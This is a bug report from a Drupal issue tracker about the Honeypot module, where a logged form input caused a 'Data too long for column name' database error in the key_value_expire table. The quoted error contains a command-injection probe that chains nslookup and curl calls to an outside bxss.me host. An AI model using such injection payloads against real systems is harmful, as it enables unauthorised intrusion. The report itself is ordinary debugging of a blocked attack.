database error: Data too long for column 'name' when inserting into "key_value_expire"

Created on 11 December 2024, 4 months ago

Problem/Motivation

See detailed error message below -- Upon discussing with a colleague, it seemed that a database error was caused by Honeypot blocking a bad input.

Drupal\Core\Database\DatabaseExceptionWrapper: SQLSTATE[22001]: String data, right truncated: 1406 Data too long for column 'name' at row 1: INSERT INTO "key_value_expire" ("name", "collection", "value", "expire") VALUES (:db_insert_placeholder_0, :db_insert_placeholder_1, :db_insert_placeholder_2, :db_insert_placeholder_3); Array ( [:db_insert_placeholder_0] => ;(nslookup -q=cname hityvcjfzjaqq6a6b8.bxss.me||curl hityvcjfzjaqq6a6b8.bxss.me)|(nslookup -q=cname hityvcjfzjaqq6a6b8.bxss.me||curl hityvcjfzjaqq6a6b8.bxss.me)&(nslookup -q=cname hityvcjfzjaqq6a6b8.bxss.me||curl hityvcjfzjaqq6a6b8.bxss.me) [:db_insert_placeholder_1] => honeypot_time_restriction [:db_insert_placeholder_2] => i:1722953344; [:db_insert_placeholder_3] => 1723039744 ) in Drupal\Core\KeyValueStore\DatabaseStorageExpirable->doSetWithExpire() (line 132 of /code/web/core/lib/Drupal/Core/KeyValueStore/DatabaseStorageExpirable.php).

Steps to reproduce

Sorry I don't have a good way to reproduce.

Proposed resolution

Perhaps some data clean up can be done before the DB insertion?

πŸ› Bug report
Status

Active

Version

2.2

Component

Code

Created by

πŸ‡ΊπŸ‡ΈUnited States newcircle

Live updates comments and jobs are added and updated live.
Sign in to follow issues

Comments & Activities

Not all content is available!

It's likely this issue predates Contrib.social: some issue and comment data are missing.

Production build 0.71.5 2024